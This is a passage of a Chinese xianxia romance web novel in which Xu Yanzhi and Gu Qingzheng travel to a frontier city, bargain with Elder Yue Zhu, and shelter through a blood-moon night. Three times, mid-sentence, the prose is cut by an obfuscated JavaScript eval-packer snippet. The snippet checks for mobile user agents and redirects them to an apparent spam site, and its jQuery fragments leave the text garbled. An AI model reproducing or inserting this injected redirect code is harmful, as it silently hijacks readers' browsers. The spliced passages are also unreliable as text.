顾青峥只做不觉,恰到好处地展示出了和善的一面,谁来与他搭话,都能得他温和的笑脸。 他笑得有些刺眼。 徐宴芝沉思了片刻,拎起裙角,也从车上下来,施施然地朝着众人走去。 这些小弟子都是各峰内门弟子中的佼佼者,但论起来,各个都只远远地见过徐宴芝,哪怕同行了一个昼夜,因为她一直不露脸,他们也只当护送着一尊神女像,并不曾真正认识过这个女人。 此时神女像忽然走下了神坛,迈着碎步,朝着他们走来,众人回首望去,齐齐倒吸了一口冷气。 她的脸洁净秀丽,琥珀色的眼眸像一对猫眼石,镶嵌在白瓷烧成的像上,再多看一眼,就要让人疑心是因为四周满目苍翠,才这般心旷神怡。 这样一个美人,如梦似幻地走到他们面前,冲着他们扬起嘴角,柔声道:“一路行来真是辛苦了。” 那些刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772540|157851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚还系在顾青峥脸上的视线,顿时便调转了方向,黏在了徐宴芝身上。 不论男女,小弟子们都扭捏起来,嘴中嘟囔着无妨,想要看看徐宴芝,又害羞垂下眼。 徐宴芝眨了眨眼,瞥了一眼后头的顾青峥,继续柔声说着这一路行来诸多不易,诸位又做的多好。 接着,她画风一转,与他们说起了琐事,装若不经意地问道,北域的冰雪季已经开始了,上一回发的份例,可收到了?山下的家人们过得可还好? 天枢峰一位仙子忽然想起了什么,惊呼道:“我听师姐们提及过,这回份例这样多,是徐夫人特特对李长老要求的呢。” 这些年岁不大的小弟子们正是单纯天真的时候,一时只能专心一件事,闻言彻底将顾青峥抛在脑后,对着徐宴芝连连称赞起来。 在山上,弟子们都听闻过徐宴芝的好名声,据说宇文掌门的这位道侣,不仅生得美,心肠也是一等一的好。 不管平时心中怎么样嘀咕,此时在周围的同门都连声称赞下的情况下,小弟子们都不得不承认,徐宴芝似乎真的如同传闻中的那样。 待到众人席地而坐,徐宴芝也毫不在意地加入进来后,大家更是卸下了心防,不知不知地放松聊了起来。 徐宴芝撑着下巴,专注地看着每一个说话的人,时不时露出鼓励的微笑来,虽然一言不发,但似乎又说了许多。 她的目光不时掠过顾青峥,两人视线不经意对上时,都极快地转向了别处。 略略休息了两刻钟,众位仙人们七嘴八舌地凑在一起说小话,似乎已将方才的凶险抛在脑后,顾青峥见状,起身拍了拍手,扬起嘴角道:“好了,走吧,在天黑之前赶到新城。” “好!” 小弟子们高声应和,纷纷起身,朝着各自的车上走去。 徐宴芝与顾青峥落在了最后。 “您这样,可算有些小心眼了。” 见弟子们都走远,顾青峥侧身低头,对徐宴芝说道。 徐宴芝言笑晏晏,仿佛方才咬牙在车里生气的那个不是自己般:“你这话说的,小心眼的究竟是谁?” 她抬起下巴,两人看着彼此的眼眸,都莞尔一笑,而后面无表情地回过头,一齐往车上走去。 离开了沼泽后,再往东便是一片草原,稀稀拉拉长着几颗到人腰部的矮树,青草也没不过脚踝,里头星星点点地开着一些小黄花。 偶尔有些小东西被飞虎车队们惊起,也只敢睁大眼,躲在花后小心翼翼地偷看。 到了傍晚,太阳将要落下时,天上的云着了火一般红起来,一直烧到了草原上似得,将这天地融成了一块,不分你我。 天地辽阔,是异于北域的美,刹那间,徐宴芝忘了自己的处境,怔怔地望着绚丽无比的火烧云,一动也不动,看久了,眼被灼伤了似得,坠坠得蓄起了水珠。 待到晚霞也将要消散时,地平线上终于出现了一座高耸的城,通体漆黑,肃杀之气腾腾升起。 这就是新临渊城了。 他们这一行来到城下,顾青峥上前要与守备交谈,不过刚路面,便被认了出来,守门的弟子们前不久才从七峰上轮换至此,都欣喜地唤着他的名字。 略点了点人数后,弟子们便打开了城门,让飞虎车入城。 新临渊城隶属北域,城内建筑是一如既往的北域风格,质朴高大,徐宴芝一路上看来,几乎与在山上别无二样。 顾青峥指引着小弟子们来到一幢大厦前,众人从车上下来,正要开大门将货物与飞虎分别卸下,不防忽然远处有人高声道:“徐夫人,顾仙长。” 徐宴芝与顾青峥偏头看去,只见远远地有一行人,为首的是揽云大泽的岳竺长老,他正含着笑,向他们走来。 “岳长老,来的可真快……” 顾青峥微微挑眉,嘴唇翕动,他拉长了尾音,用只有身边人能听到的声音说道。 13. 第十三章 北域商队下山之前,自然与揽云大泽通过信,写信的吕敏之不知是有意还是无意,将此次徐宴芝一同随行的事也写在了信上。 既然是要紧的生意,选来传信的鸢鸟能日行千里,不过小半日的功夫,揽云大泽便收到了信。 这消息立刻传到了岳竺那儿,他又与同门打起了商量,自告奋勇要替师兄去一趟新临渊城。 新城离揽云更近,等徐宴芝他们到城中时,岳竺早已在城中等候多时了—— 他自己在客舍好整以暇地等着,外头还安排了小弟子守在城门口,擎等着一时间知晓北域来人的消息。 岳竺这般作态,让他与徐宴芝原本已经传的沸沸扬扬的绯闻更做实了一般,在行宫大门前,北域来的小弟子们手中分明在干着自己的活计,只是速度越来越慢,耳朵也竖得越来越高。 岳竺只做不知,他是此界难得的入虚境仙人,相貌堂堂,年岁不过二百,自觉天上地下再也难有自己这般人才了,引人瞩目也是寻常,迎上前时与徐宴芝说话时十分自如。 徐宴芝望着他,脸上慢慢绽放开一个笑,她略上前一步,应声道:“竟然让岳长老久等,是北域不周到了。” 这已不是宇文令刚仙解那会儿了,岳竺在城中夜晚喝得酩酊大醉,白日长睡不醒,新临渊城将雪林酒敞开来供应,当然待客周到,这话被徐宴芝说出来后,忽然有了些讥讽的意味。 可徐宴芝偏偏又笑得那样温婉。 岳竺疑心雪林酒太过醇香,以至于他沾染上了酒香而不自知,他轻轻动了动鼻子,却不曾发现异样,只当是自己想多了,邀请道:“正是刚刚夜下来的好时候,徐夫人与顾仙长不若一块儿喝一杯?” 闻言,徐宴芝回头瞥了一眼顾青峥,见他面上毫无波澜,便替他做主道:“岳长老是客,理应北域做主才是,今夜自然是我邀您赴宴。” 岳竺没有不应的,直到夜宴的时间定下,他才恍然道:“对了,揽云大泽运来的不梦鳞都已经在客舍的库房中,随时可以取走。” “交易的事,明日再说吧。”徐宴芝笑笑,转头与站在一旁一直沉默不语的顾青峥一前一后进了行宫中。 因为岳竺一行,行宫中日日都备好了宴席,只等山上来人,一声令下便能治上客气的席面,今夜见宗门来的是徐宴芝与顾青峥,更是铆足了劲要在他们面前讨个好。 而新临渊城辗转了几番,如今的城主由顾氏出任,顾城主为了显出顾氏的恭敬,先是上门与徐、顾二人见了礼,而后各种山中不常见的新奇玩意儿流水一般被送到徐宴芝的小院中。 徐宴芝被安排住在最尊贵的一间院子里,此地气候温暖,她已然换上了轻薄的华服,正倚在榻贵妃榻上,看着面前的凡人侍女小心翼翼地为她展示顾城主送来的一匣子凡人珠宝。 “夫人,这一只是凤冠,在凡间,只有皇后才能用。” 肤色黝黑的侍女双手拿起璀璨夺目的凤冠,捧到了徐宴芝面前。 她伸手捡起凤冠,饶有兴趣地举到眼前,不断调整角度,让凤冠上的宝石在灯下绽放出夺目的光芒。 “有趣,既然有凤冠,可有龙冠?”徐宴芝看过后,将东西放回到侍女手心,随意问道。 “这……” 侍女一时语塞,原本记下的那些词全忘了,半晌说不出话来,脑门上霎时生出了一层汗珠。 徐宴芝见状,笑了一笑,挥手道:“罢了,不过一问,何须这般紧张。” 侍女嗫喏不成语,巴掌大一张脸上本就挤得慌,此时更是五官打架,乱成一团。 她到比顾城主送来的一堆鸡零狗碎更有趣,徐宴芝有了兴致,问道:“你一个凡人,为何在仙城中做侍女?” 侍女磕巴了一会儿,终于说出了一句囫囵话:“奴是被买来的。” 徐宴芝脸上倏地黯淡了,她眼神飘忽起来,喃喃道:“是吗?” 侍女不知是答还是不答,脸上又乱成了一锅粥。 等到徐宴芝终于回过神来,意识到她还在这儿,侍女已经骇得将要落泪了。 “回去吧。”徐宴芝冲她挥手道。 只是想了想,她又叫住了侍女,挑挑拣拣地从匣子里翻找了一下,找出了一只最不起眼的翡翠戒子,往空中一抛道:“接着,回去藏好了别叫人知道。” 戒子精准地落在侍女的手中,她连忙慌慌张张地捂住了,一连给徐宴芝行了好几个大礼,方才左脚踩右脚地退了出去。 屋子里剩下了徐宴芝一个,行宫留给她的院子可比她在山上的大多了,偌大的一间屋子,脚步声都有回音,她不想听到,起身慢慢吞吞地走到桌前,拾起了一枚镜子。 她低头照看,镜中的她一如既往的美丽不可方物。 但徐宴芝并未被这张脸蛊惑,她憎恶地看着,语气讥讽道:“瞧你,像自己过得有多好似的。” 说罢,她将镜子倒扣在桌上,转身慢慢走出屋子,朝设宴的正殿走去。 去往正殿的路上,徐宴芝恰巧又遇见了顾青峥。 应当也算不上恰巧,他换了一身黑底金纹礼服,束上了金色发冠,正抱着双臂站在月亮门前,等着谁似的。 徐宴芝远远见到,先拿眼从上往下将他扫了一遍。 他少穿这样的带有纹绣的华服,偏偏这衣裳又懂事,将他的身段包裹的恰到好处,该宽的地方宽,该窄的地方窄,蜂腰上缠着一条镶玉的腰带,往下显出了极长的腿来。 她不愿费力,懒洋洋地走着,目光始终凝视着顾青峥。 顾青峥也早已发现了她与她的视线,可他并未有何表示,反倒转过身来,坦然地任由徐宴芝观看。 哪怕徐宴芝走到了他的面前,他也仍旧不动。 徐宴芝哂笑一声,径直往前,几乎无缝地贴着他的身子,要过了这道门。 但顾青峥并不打算让她过去,略略侧了侧,挡住了她的去路,与她紧密地贴近了。 “您这裙子。”他越说,声音越低,头却低得越近。 顾青峥伸出一根手指,划过徐宴芝身上泛着玉色的长裙,他垂眸看着长裙上纷纷飞舞的金蝶,意有所指道:“金蝶成双对,这件衣裳是何时做的?” 他自然不会是好意,徐宴芝却笑出了声。 她忽然伸手去勾顾青峥的脖颈,扯着他往下,吐气在他耳尖,呢喃道:“金蝶成双对,师娘再给你寻个师父……” 徐宴芝的话未说完,顾青峥便猛地直起身子,往后退了一步,他将那双狭长上扬的眼睛眯了起来,却仍旧不慎露出了一丝戾气。 这才是他本来的样子,徐宴芝一边欣赏他难得的失态,一边品尝着心中同时升起的快意与杀意。 这短短一刹后。 等到顾青峥再次看向徐宴芝,他已经找回了一贯温和的面具,她也向他伸出了手,柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772541|157851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道:“走吧,莫叫客人久等了,这可不是待客的道理。” 顾青峥颔首,柔顺地应了,与徐宴芝携手朝着前方已响起丝竹之乐的正殿走去。 走得近了,才发现顾城主铺了好大的场面,十几位凡人男女又是奏乐又是起舞,长案上琳琅满目地摆满了东西,两旁一共点了十二支仙灯,照得殿中亮堂堂的,毫厘毕现。 里头的顾城主还未发觉外头走来的徐、顾二人,只顾凑在岳竺身旁为他倒酒。 徐宴芝瞥了一眼顾青峥,揶揄道:“顾家人做事甚是周到,做一城之主也是。” “夫人指教的是,顾城主实在谄媚得有些难看了。” 顾青峥眼睛都未眨地答道,仿佛自己不姓顾一般。 徐宴芝又看他一眼,见他着实面色如常,心中也有些纳闷,一流仙家内抱团抱得极紧,她讥讽了顾家人,顾青峥的反应怎么与常人不同。 待二人走上了正殿前的长阶,里头的人终于被侍从提醒,一齐向下看来。 岳竺已喝了小半壶酒,脸上起了一抹红,抬头忽见长阶上站一对璧人,连衣裳上都同绣着金丝,徐宴芝那长裙的裙摆洋洋洒洒,上头的金蝶像是飞在了顾青峥身上,顿时酒都醒了。 他与顾城主一齐起身,有些古怪地在两人之间来回扫视,狐疑道:“徐夫人与顾仙长倒是亲近。” 徐宴芝莞尔一笑,上前道:“自然,自他上山后,都是我在照料这孩子,怎么会不与我亲近。” 正说着,她接过顾城主敬来的酒,爽快地喝净了,又温声道:“竟是岳长老先到,真是失礼了。” 又转头冲着顾青峥挥挥手道:“青峥过来。” 真拿顾青峥当子侄辈的架势,岳竺一哂,摆手道:“顾仙长日后前程远大,徐夫人可莫要再将他视为小弟子了。” 这话说的隐晦,但谁都听懂了,顾城主笑得更是荡漾,一叠声唤侍从来倒酒。 顾青峥并不多言,当真腼腆如小弟子,只客套了几句,将酒喝下肚后,便乖顺地坐在徐宴芝身旁听几人谈话。 宴席一直到后半夜才散,顾城主将临渊城中压箱底的好酒都拿了出来,众仙人喝了个底朝天,都醉了酒,只得晕陶陶地四散回屋。 只可惜到底是修行之人,再好的酒也只能醉上片刻,等行到房中,酒意也就散得七七八八,眼睛也雪亮起来。 徐宴芝回到小院中没多久,外头又有人敲门,她应了门,见外头站着一位揽云大泽的小弟子,手中捧着一个匣子,恭敬地递到她的面前。 “岳长老谴我送来的。”小弟子道。 这个小弟子年岁不大,心里存不住事,他眼中的好奇几乎都要溢出来,几乎认定这是岳竺赠与徐宴芝的定情物。 徐宴芝对他道了谢,接过东西,又将院门关上。 岳竺此人,看着混不吝,实则内有乾坤,真是个妙人。 徐宴芝回到屋中,垂眸看着手边的匣子,小心地解开了上头封着的印,将它打开来。 匣子里头躺着三枚荡漾着七彩流光的鳞甲,不过巴掌大小,有莫测的灵气在其中流动。 这是顶顶好的不梦鳞,比揽云大泽明面上与北域交易的那些要好得多,是岳竺的私产,是他承诺徐宴芝促成交易的报酬,也是她坚持此行的目的。 既然是交易,自然就要有人得到好处。 那个人为什么不能是徐宴芝呢? 14. 第十四章 第二日天还未亮,徐宴芝懒懒躺在床榻上,就听到外头有小弟子隔着院子远远来报,说是已经将货物与揽云大泽交换好了,装好了车,随时都能出发回七峰。 徐宴芝高声应了,按着太阳穴,爬起来将浓香熄了。 她昨夜又犯了毛病,早上起来后背痛得厉害,服下灵药仍然不能止,只得燃香镇痛,一时没能起得来。 可上面的人能懒惰,下头的小弟子却不得闲,天还没亮便已经将一切打点好,只等上面发话何时离开。 新临渊城这边一切顺利,徐宴芝想起已经妥帖收好的三枚不梦鳞,挣扎着收拾好,准备去寻顾青峥,立即返程。 只是不等她去找,一打开院门,顾青峥就等在门外。 他穿着寻常的月白色长袍,腰上系着长剑,长发束地随意,一些不听话的发丝散在额间,潇洒极了。 徐宴芝见他面色如常,半点瞧不出昨日用了许久灵力又喝了半宿酒的模样,隐隐有些嫉妒,拿话酸他:“真是北域长老以下第一人,顾仙长潇洒。” 顾青峥坦然受了,回道:“倒不知夫人昨日赶路这样辛苦。” 说着,他伸手,隔空虚虚在徐宴芝眼下画了一道。 “面色憔悴极了。” 徐宴芝嗤笑一声,并不回他,转而正色道:“小弟子来报,说东西都收拾好了,这便起身回七峰吧。” “正是为此来寻夫人。”顾青峥意味深长地看着她,尾音拖得很长,“方才我还在想,若是夫人就此不打算回七峰……” 徐宴芝酸他一句,他就要拿话点她一句,半点不肯吃亏。 两人站在门前又互相试探了几句,徐宴芝抬头见太阳隐隐要从地平线上挣扎出来,唯恐耽误了行程,率先中止了谈话。 一行人赶着车从行宫大门出来,正走在出城的大道上,忽然另一队人马哒哒地从小道上拐了上来,他们的坐骑十分新奇,似马非马,后头有管道,不住往外排着白气。 徐宴芝定睛一看,为首的正是岳竺。 岳竺也瞧见了她,驾着□□那坐骑便靠上了飞虎车,隔着窗对里头的徐宴芝道:“徐夫人这便回北域了吗?” 他没话找话,徐宴芝也打起精神来与他寒暄,两人说得几句,岳竺忽然将头靠近,凑在她耳边气声道:“我说真的,要不跟我回揽云吧,我当真从未有过道侣……” 他口气戏谑,眉头却皱了起来,定定看着徐宴芝等她的回复。 徐宴芝垂眸笑了笑,也直起身子,凑到他耳边道:“这一回,多谢了。” 岳竺读懂了她言语中的婉拒,遗憾地叹了口气,摇头道:“唉,可惜……” 可惜了一刹那,岳竺便放下了。 他又洒脱朝徐宴芝身后拱了拱手,坐骑倏地一个回转,往揽云大泽车队前去了。 两个车队共行了一段,在一个岔路口分道扬镳,飞虎车一路往北,徐宴芝回头看了一眼,岳竺他们已经消失在她的视线中。 她自然是不会去揽云大泽的,回头这一眼,有些辩不明的情绪在其中。 只是车厢中并不止徐宴芝一人,岳竺离去时还晓得与顾青峥道别,她抬手放下帘,闭上眼,全然当身边是具傀儡。 只是,她身边若真是扯一下动一下的傀儡就好了。 傀儡可不会突如其来地欺身过来,将她按在角落中,用手握住她的脸,一点一点地将她转向他。 徐宴芝睁开眼,她厌恶的黑眼睛悬在一寸外,那对瞳仁漆黑如溟海,他们近到她能看见他眼底不平整的沟壑,抑或是欲望难填的深渊。 他们的鼻尖相触,彼此的鼻息纠缠在一起,濡湿且黏腻,再往下一点,车再颠簸一点,就能把这湿吞进肚子里。 顾青峥的手极稳,他克制着愈发炙热的气息,捧着徐宴芝的脸,让她只能看着自己。 车厢中只拉下了一边的帘,太阳光从另一扇窗中照进来,四四方方地把他们框在一起。 飞虎的低吼、小弟子不时的交谈、车辙碾过石子飞溅的声音,外头细微的声音在他们耳中不断放大,提醒着他们现下的处境。 顾青峥将徐宴芝笼在身下,阳光被他挡在身后,他的脸陷入阴影中,他的手指不轻不重的捻着徐宴芝的耳垂。 “夫人。”他又靠近了一些,用鼻尖擦过徐宴芝的脸颊去找她的鬓角,他声若蚊蝇地低语着,“您知道您在做些什么吗……” 他的一只手沿着徐宴芝的身体慢慢往下,另一只手转到她的脑后,将她按向自己,方便他抬头咬住她的耳垂。 不轻不重的,用牙齿衔住,车往动一下,徐宴芝便感到一点微微的刺痛,和无穷大的痒。 她分明已经被眼前人握住腰肢,掐住脖颈,无法再动弹一丝,但他们身体之间却仍然隔着一拳的距离。 徐宴芝脸上漾起粉红,她没有抗拒,而是艰难地往前靠了靠,伸手触摸着顾青峥的脸颊,往下是他忍不住滚动的喉头,接着是结实的胸膛,紧绷的腹部…… 她感到顾青峥松开了她的耳垂,发出了压抑的闷哼。 “你说说看,我在做什么?”她柔声追问,眼中荡漾着水光,试图贴近顾青峥的身体,不让他留下空隙。 顾青峥倒吸一口气,放下了徐宴芝,想要解开自己设的局,但他面前的女人不想就这样放过他,拉住他的手臂不让他后退,反过来依偎在他身上。 她有与他截然不同的身子,柔软的令人害怕,贴得太紧时,像是陷入了甜美的梦乡。 顾青峥瞳仁微颤,失控地用力,再次握住了徐宴芝的腰肢,他正要做些什么时,前头忽然传来小弟子的声音。 “顾师兄,要出城了。” 说着,飞虎车慢了下来,等到完全停下后,架车的小弟子从车上跳了下来。 顾青峥仍旧一动不动,俯身与徐宴芝四目相对。 小弟子往后走了第一步。 徐宴芝伸手去勾顾青峥的脖子。 小弟子往后走了第二步。 顾青峥狼狈起来,猛地转身,试图坐直身子。 等到小弟子走到窗外,扬起脸道:“顾师兄,守备要出城的手令。” 顾青峥已面无表情地坐在车窗旁,伸出一只手,将城主手令递给了小弟子。 他一人便将窗挡得严实,小弟子看不见车中的景象,也就不知道,车厢中,徐宴芝此时仍然拉着他的手,懒洋洋地倚着,有一搭没一搭地在他掌心写着字。 见小弟子毫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此时还未到傍晚,太阳仍然斜斜地挂在西边,将落不落的。而东边遽然之间像是被谁揪走了一块儿光明,陷入了黑暗中。 众人没有反应过来,驾车的小弟子们呆呆地看着东边。 那块黑暗不住地扩大,霎那间,小一半的天都黑了下来,在原本是地平线的地方,一枚血红的弯钩,露出了一角。 站在车顶的顾青峥瞳孔一缩,立即俯身大喊:“是红月!立刻停下来!所有人原地画阵!立刻!” 他说着,抽出腰间长剑,双手握住,运转起周身灵力,一跃而下,狠狠插在地上的冰雪之中。 巨大的冲击掀翻了以长剑为中心的一切,露出一片黑色的泥土,顾青峥迅速清理出了一片圆形的空地。 飞虎们被赶向空地,小弟子们惊慌失措地跳下车,哆嗦着掏出法宝,开始画阵,拿出玄铁锁,链住车体。 顾青峥逆着人流,快步来到最前,他打开车门,对里头的徐宴芝道:“从现在开始,不能离开我一步。” 他上前紧紧抓住了徐宴芝的肩膀,重复道:“一步都不行。” 15、第十五章 去时没有遇见红月,回来时小弟子们多少有些放松了警惕,而宗门想要顾青峥带一带师弟师妹,这一趟来的都是些有天赋的年轻弟子,入门时间不长,也不曾下过几回山。 关于双月当空的凶险,传闻听了许多,在山上也经历过许多次,却是第一次在无遮无拦的城外遇上,一时紧张起来,忙中出了许多错。 或是飞虎没有控制好,叫嚣起来,与旁边的同类喷着响鼻互相撞击着。或是哆哆嗦嗦地画着法阵,画的一团糟,越急越画不成样子,骇得面色发白。 小弟子们要用玄铁锁将车体锁在一起,可玄铁锁在手中叮当响,装锁的小弟子扣了两三次都不曾将锁扣中车体上的挂钩。 好容易画好了一块法阵,念法决时又脑中一片空白,小弟子只能带着哭腔求问身旁同门。 他们急停在一片树林里,在顾青峥清理出来不大的空地上,十来个人,十只飞虎,造出了沸反盈天的架势。 但越是乱越是慢。 红月侵蚀着天际,天色越来越暗,一片焦躁中,只有顾青峥还冷静着,梳理着、解决着小弟子们的问题。 他紧紧握着徐宴芝的手腕,带着她左右穿梭,一个一个确认小弟子们画下的法阵。 这不是一种符合他们身份、合适出现在人前的姿势,但恐惧之下,无人多看徐宴芝一眼。 徐宴芝虽然有许多次盯着阵法,皱着眉头,想要说些什么,但看了身旁人的神情后,又将话咽了下去。 众人团团忙碌着,都想赶在银月也升起前完成法阵。 十辆飞虎车车头冲外,车尾冲内,画出一个圆。飞虎被蒙上眼睛,堵住耳朵,栓紧了缰绳,背脊上施上镇定的仙法,以求在双月当空时,不要因恐惧不安而发出声响。 被车包围住的圆心内,地上画上了法阵,十来位小弟子面朝外,盘腿坐下,手上捏起法决。 圆心中,顾青峥也如小弟子一般的姿势坐着,只是他一手捏法决,另一只手还不忘死死捏着徐宴芝,让徐宴芝只能靠着他,勉强地歪坐在地上。 在最后一丝天空被吞噬前,北域仙人们以顾青峥为首,一齐念诵起了古老晦涩的暗语。 他们身上的法阵一点一点地亮起,光亮慢慢朝着顾青峥汇聚,一张闪烁着荧光的光幕出现在半空中,缓缓落下,将林地中这整齐的圆笼罩在其中。 微弱的荧光渐渐熄灭,能用肉眼分辨的光幕融化在夜空中后,血红的月光从天而降,只是那光,宛若实质一般被挡在了半空,并没有落在众人头顶。 他们成功画出了法阵,可却无人为此感到兴奋。 众人呆呆地抬着头,看着如血液一般的月光,散落在半空中的结界上,汩汩地流淌下来,流向远处。 月光染红了静谧安宁的雪林,让洁白无人触碰的雪变做成片成片渗人的披挂,树木开始微微颤动,一些尖细高昂的声音从它们体内迸发,凝神看去,树干中似乎有丑陋的面孔张大嘴尖叫着,要撑破了桎梏出现。 这一霎,四面八方、天上地下,无数张模糊的、丑陋的脸从树上、飞鸟上、走兽上一齐喊叫,宇宙万物都尖叫起来,尖细的、刺耳的声音化为锐刺,密密麻麻地扎向结界中的众人。 他们仿佛一叶扁舟,行使在激起滔天巨浪的汪洋大海中。 处在结界正中心的顾青峥清晰地听到了四周小弟子们牙关打颤地咔咔声。 他看了看四周,见红月光的攻势暂时对结界无效,提高了音调道:“凝神!闭眼!” 他话音未落,天边忽然又蒙蒙亮了起来。 一轮银白皎洁的月亮,按照它惯常的路线,慢慢从地平线上升了起来。 鲜红的月光掺进了银白,并没有变得圣洁,反而缓缓变做了妃色,添了一丝诡异的柔情,让那些尖叫声渐渐停息下来。 海浪变得和缓,但顾青峥能看到漆黑的海面,他知道一切都才刚刚开始。 “不要凝视月光,否则会被月光蛊惑。” 顾青峥谆谆叮嘱着。 只是才说完,他手上倏地一紧。 他颔首看去,只见徐宴芝怔忪地望着结界外如梦似幻的妃色夜晚,不由自主地想要站起身来。 她被什么东西所引诱,脸上扬起了朦胧的笑,眼眸中像是覆了一层纱,模模糊糊地倒映出红。 月光引诱着她离开这个庇护所,回到甜蜜的家园。 顷刻间,顾青峥忘记了呼吸,生出一个极具诱惑的念头。 他的手仍然紧紧地扣着她的手腕,但只要一松手,这个女人便会带着他隐秘的恨与欲念,独自走向血色的良夜,再也不见。 再也不见阴暗难言的渴望,再也不见辗转难眠的夜晚,她将剜走顾青峥心头流着毒汁的疮口,还给他缺了一块但不再病态的心脏。 他脑中如这妃色之夜一般,起了惊涛骇浪。 顾青峥的视线如有实质,一动也不动。 看得一会儿,徐宴芝竟然若有所觉,缓慢的、一顿一顿地低下头,她眼中一时变做琥珀色,一时变做红色,脸上轻微抽搐着。 她微微张嘴,似乎想要对顾青峥说些什么。 被月色映照得分外冶艳的脸,诡异地做着表情。 “青……青峥……”模糊的声音从她嘴中传来。 徐宴芝的神智似乎在失去与重返间反复,她的脸上慢慢涌上哀愁,挣扎着,迟缓地,向顾青峥张开了右手。 她的右手中藏着北域掌门密令。 她不能死。这是宗门交予顾青峥的任务。 光怪陆离的想法离他而去,顾青峥回到了现实中,重新开始呼吸。 月光依旧,雪林中充斥着淅淅索索的喧嚣。 顾青峥垂眸,用力拉了徐宴芝一把,教她整个跌入了他的怀中。环抱着怀中人,他又拿起地上掉落的她的斗篷,展开将她紧紧裹在里头,不露出一丝缝隙。 徐宴芝任由他动作,眼神虽然逐渐褪去了红,却仍然柔软如猫儿般依偎着他,右手更是缓缓搂上了他的腰。 她闭着眼,将脸贴在他胸膛上,只肯听底下那颗心扑通地跳动,以求模糊掉耳畔旁那些细碎的轻言细语。 ——不要,不要再说了,她不会回去。 在此期间,外围面朝外端坐的小弟子中也有修为不够,被黏稠月光所引诱,摇摇欲坠地挣扎起来的。 顾青峥坐着不动,一手揽着徐宴芝,一手轻弹空气,带着灵力不偏不倚地击打在小弟子的后脑上,瞬间让他清醒过来。 如此这般,这些第一次遇见双月当空的小弟子们,险之又险地在顾青峥的庇护下捱过了半个夜晚。 顾青峥怀中的女子,也在他面前显露出了从未有过的乖顺,只绵软无力地伸手勾在他腰间,将头埋地紧紧的,半点没有要离开的意思。 这样的乖顺,让他无意识地隔着重重衣物,轻抚着她还未伤愈的背脊,换来她不时微微的颤栗。 到了后半夜,众人终于把握住了面对月光的方式,甚至能悄悄地将眼睛睁开一条缝,偷偷打量结界外头的雪林。 他们以为这一晚将有惊无险地过去了。 其中最强的小弟子想要回头与顾青峥说些俏皮话,缓解一下同门紧张的心情,头才偏了一分,后脑勺便被灵力击中。 “凝神,莫要回头。” 顾青峥冷冰冰的声音在他身后响起。 诸位原本有些松懈下来的小弟子们被冻了一个激灵,连忙再打起十二万分精神来。 他们心中都想到,顾师兄一贯好脾气,想来是我们太过无用,才惹得师兄生了气。 如此都愧疚万分,再没有谁敢东张西望,各个都将眼睛闭好了,静气凝神地摒除杂念,不教莫测的力量将自己引诱。 直到红月缓缓坠入地平线,月光慢慢恢复了原本的颜色,结界外的诡异与喧嚣渐渐平息,他们其中最大胆的那个才战战兢兢地闭着眼道:“顾师兄,双月当空算是过去了吗?” 他听到后头的顾青峥嗯了一声,声音莫名喑哑。 不等这个小弟子感到奇怪,顾青峥又补充道:“我们运气不错,这一回的红月力量不强,且此地远离无尽之崖,今夜既未碰见丢了魂魄的灵兽,也未碰见业鬼,算是平安度过。” 说到这儿,他停顿了一下,让小弟子们生出了些劫后余生的喜悦后,又道:“不过,此前也有红月落下后,从无尽之崖爬出来的业鬼游荡至七峰山下的记录,回去的路上也要万分小心。” 这一来一回,小弟子们的心情被闹得七上八下,少不得要哀嚎几句。 待到银月也落下后,他们起身整理法阵,见徐宴芝身上的斗篷皱成一团,鬓发紊乱地抱着膝盖,倚在顾青峥的背上,也只当她与自己一般—— 可怜见的,徐夫人自来被宇文掌门捧在手心中,此前从未在野外遇见这般景象,又听得顾师兄说回程恐怕还会遇见业鬼,吓坏了吧! 至于徐宴芝左手手腕上清晰的指印,待到他们重整旗鼓,准备返程时,已经消失殆尽了。 她安安静静地坐在车中,身上裹着被揉皱的披风,双手交叠放在膝上,望着车窗外出神。 飞虎车重新跑动起来,他们继续往北,想要离开这片雪林。 在林中穿梭时,有几个瞬间,树与树之间留下了缝隙,让徐宴芝看到了很远的地方。 她感到那里有什么东西,正在快速的接近。 别过来。 她在心里默默对它说道。 那东西似乎听见了,慢了下来。 徐宴芝睁大了眼,一动也不动地看着远处,直到他们离开了这片雪林,将一切抛在身后。 她仍旧没有收回视线。 16、第十六章 徐宴芝看着窗外时,顾青峥也在看着她。 看她握紧的双手,看她神游的表情,看她沐浴在晨曦中镀了层金边的侧脸。 待到身边人若有所觉,将要回头时,他又偏开了头,看向另一边。 昨夜发生的一切,随着太阳升起,变做了双月当空下的一个诱人的梦。待到醒过来后,二人都有些难以面对自己。 狼狈地祈求、失控的抚触…… 他们都不自认为是软弱难以自持的人,因此也格外无法接受失去清醒时做出的举动。 这一天的行程十分顺利,顾青峥分辨了周围的景色与车队的速度,告知众人飞虎们将在下午时到达七峰山下那座仙城。 